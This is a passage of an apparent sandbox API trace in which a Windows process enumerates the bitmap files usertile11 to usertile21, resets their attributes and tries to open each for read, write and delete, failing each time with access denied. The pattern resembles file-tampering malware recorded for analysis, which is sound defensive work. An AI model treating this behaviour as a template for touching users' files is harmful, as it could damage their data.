Users\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" [0151.499] wcscat (in: _Dest=0x202ad3f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0151.499] wcscat (in: _Dest=0x202ad3f0, _Source="usertile11.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile11.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile11.bmp" [0151.499] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile11.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile11.bmp")) returned 0x20 [0151.499] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile11.bmp", dwFileAttributes=0x20) returned 0 [0151.499] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile11.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile11.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0151.499] GetLastError () returned 0x5 [0151.499] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile11.bmp", dwFileAttributes=0x20) returned 0 [0151.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0151.500] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae2755d1, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae2755d1, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb6d3417, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile12.bmp", cAlternateFileName="")) returned 1 [0151.500] wcscmp (_String1="usertile12.bmp", _String2=".") returned 1 [0151.500] wcscmp (_String1="usertile12.bmp", _String2="..") returned 1 [0151.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad3f0 [0151.500] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" [0151.500] wcscat (in: _Dest=0x202ad3f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0151.500] wcscat (in: _Dest=0x202ad3f0, _Source="usertile12.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile12.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile12.bmp" [0151.500] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile12.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile12.bmp")) returned 0x20 [0151.500] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile12.bmp", dwFileAttributes=0x20) returned 0 [0151.500] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile12.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile12.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0151.500] GetLastError () returned 0x5 [0151.500] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile12.bmp", dwFileAttributes=0x20) returned 0 [0151.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0151.501] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae29b72e, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae29b72e, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb76b98f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xbeb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile13.bmp", cAlternateFileName="")) returned 1 [0151.501] wcscmp (_String1="usertile13.bmp", _String2=".") returned 1 [0151.501] wcscmp (_String1="usertile13.bmp", _String2="..") returned 1 [0151.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad3f0 [0151.501] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" [0151.501] wcscat (in: _Dest=0x202ad3f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0151.501] wcscat (in: _Dest=0x202ad3f0, _Source="usertile13.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile13.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile13.bmp" [0151.501] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile13.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile13.bmp")) returned 0x20 [0151.501] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile13.bmp", dwFileAttributes=0x20) returned 0 [0151.502] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile13.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile13.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0151.502] GetLastError () returned 0x5 [0151.502] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile13.bmp", dwFileAttributes=0x20) returned 0 [0151.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0151.502] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae2e79e8, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae2e79e8, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb82a065, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile14.bmp", cAlternateFileName="")) returned 1 [0151.502] wcscmp (_String1="usertile14.bmp", _String2=".") returned 1 [0151.502] wcscmp (_String1="usertile14.bmp", _String2="..") returned 1 [0151.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad3f0 [0151.503] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" [0151.503] wcscat (in: _Dest=0x202ad3f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0151.503] wcscat (in: _Dest=0x202ad3f0, _Source="usertile14.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile14.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile14.bmp" [0151.503] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile14.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile14.bmp")) returned 0x20 [0151.503] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile14.bmp", dwFileAttributes=0x20) returned 0 [0151.503] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile14.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile14.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0151.503] GetLastError () returned 0x5 [0151.503] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile14.bmp", dwFileAttributes=0x20) returned 0 [0151.503] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0151.504] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae2e79e8, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae2e79e8, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdbb95fd7, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile15.bmp", cAlternateFileName="")) returned 1 [0151.504] wcscmp (_String1="usertile15.bmp", _String2=".") returned 1 [0151.504] wcscmp (_String1="usertile15.bmp", _String2="..") returned 1 [0151.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad3f0 [0151.504] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" [0151.504] wcscat (in: _Dest=0x202ad3f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0151.504] wcscat (in: _Dest=0x202ad3f0, _Source="usertile15.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile15.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile15.bmp" [0151.504] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile15.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile15.bmp")) returned 0x20 [0151.504] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile15.bmp", dwFileAttributes=0x20) returned 0 [0151.504] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile15.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile15.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0151.505] GetLastError () returned 0x5 [0151.505] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile15.bmp", dwFileAttributes=0x20) returned 0 [0151.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0151.505] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae30db45, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae30db45, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdca9c9ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile16.bmp", cAlternateFileName="")) returned 1 [0151.505] wcscmp (_String1="usertile16.bmp", _String2=".") returned 1 [0151.505] wcscmp (_String1="usertile16.bmp", _String2="..") returned 1 [0151.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad3f0 [0151.505] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" [0151.505] wcscat (in: _Dest=0x202ad3f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0151.505] wcscat (in: _Dest=0x202ad3f0, _Source="usertile16.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile16.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile16.bmp" [0151.506] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile16.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile16.bmp")) returned 0x20 [0151.506] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile16.bmp", dwFileAttributes=0x20) returned 0 [0151.506] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile16.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile16.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0151.506] GetLastError () returned 0x5 [0151.506] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile16.bmp", dwFileAttributes=0x20) returned 0 [0151.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0151.506] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae333ca2, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae333ca2, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdcc3f8f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile17.bmp", cAlternateFileName="")) returned 1 [0151.506] wcscmp (_String1="usertile17.bmp", _String2=".") returned 1 [0151.506] wcscmp (_String1="usertile17.bmp", _String2="..") returned 1 [0151.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad3f0 [0151.507] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" [0151.507] wcscat (in: _Dest=0x202ad3f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0151.507] wcscat (in: _Dest=0x202ad3f0, _Source="usertile17.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile17.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile17.bmp" [0151.507] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile17.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile17.bmp")) returned 0x20 [0151.507] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile17.bmp", dwFileAttributes=0x20) returned 0 [0151.507] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile17.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile17.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0151.507] GetLastError () returned 0x5 [0151.507] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile17.bmp", dwFileAttributes=0x20) returned 0 [0151.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0151.508] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae333ca2, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae333ca2, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdcc65a55, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile18.bmp", cAlternateFileName="")) returned 1 [0151.508] wcscmp (_String1="usertile18.bmp", _String2=".") returned 1 [0151.508] wcscmp (_String1="usertile18.bmp", _String2="..") returned 1 [0151.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad3f0 [0151.508] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" [0151.508] wcscat (in: _Dest=0x202ad3f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0151.508] wcscat (in: _Dest=0x202ad3f0, _Source="usertile18.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile18.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile18.bmp" [0151.508] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile18.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile18.bmp")) returned 0x20 [0151.508] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile18.bmp", dwFileAttributes=0x20) returned 0 [0151.509] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile18.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile18.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0151.509] GetLastError () returned 0x5 [0151.509] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile18.bmp", dwFileAttributes=0x20) returned 0 [0151.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0151.509] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae359dff, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae359dff, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdcc8bbb3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile19.bmp", cAlternateFileName="")) returned 1 [0151.509] wcscmp (_String1="usertile19.bmp", _String2=".") returned 1 [0151.509] wcscmp (_String1="usertile19.bmp", _String2="..") returned 1 [0151.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad3f0 [0151.509] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" [0151.509] wcscat (in: _Dest=0x202ad3f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0151.509] wcscat (in: _Dest=0x202ad3f0, _Source="usertile19.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile19.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile19.bmp" [0151.510] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile19.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile19.bmp")) returned 0x20 [0151.510] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile19.bmp", dwFileAttributes=0x20) returned 0 [0151.510] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile19.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile19.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0151.510] GetLastError () returned 0x5 [0151.510] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile19.bmp", dwFileAttributes=0x20) returned 0 [0151.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0151.510] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae37ff5c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae37ff5c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdccb1d11, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile20.bmp", cAlternateFileName="")) returned 1 [0151.510] wcscmp (_String1="usertile20.bmp", _String2=".") returned 1 [0151.510] wcscmp (_String1="usertile20.bmp", _String2="..") returned 1 [0151.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad3f0 [0151.511] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" [0151.511] wcscat (in: _Dest=0x202ad3f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0151.511] wcscat (in: _Dest=0x202ad3f0, _Source="usertile20.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile20.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile20.bmp" [0151.511] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile20.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile20.bmp")) returned 0x20 [0151.511] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile20.bmp", dwFileAttributes=0x20) returned 0 [0151.511] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile20.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile20.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0151.511] GetLastError () returned 0x5 [0151.511] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile20.bmp", dwFileAttributes=0x20) returned 0 [0151.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0151.512] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3a60b9, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3a60b9, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd069f3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile21.bmp", cAlternateFileName="")) returned 1 [0151.512] wcscmp (_String1="usertile21.bmp", _String2=".") returned 1 [0151.512] wcscmp (_String1="usertile21.bmp", _String2="..") returned 1 [0151.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad3f0 [0151.512] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" [0151.512] wcscat (in: _Dest=0x202ad3f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0151.512] wcscat (in: _Dest=0x202ad3f0, _Source="usertile21.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile21.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile21.bmp" [0151.512] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile21.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile21.bmp")) returned 0x20 [0151.512] SetFileAttributesW 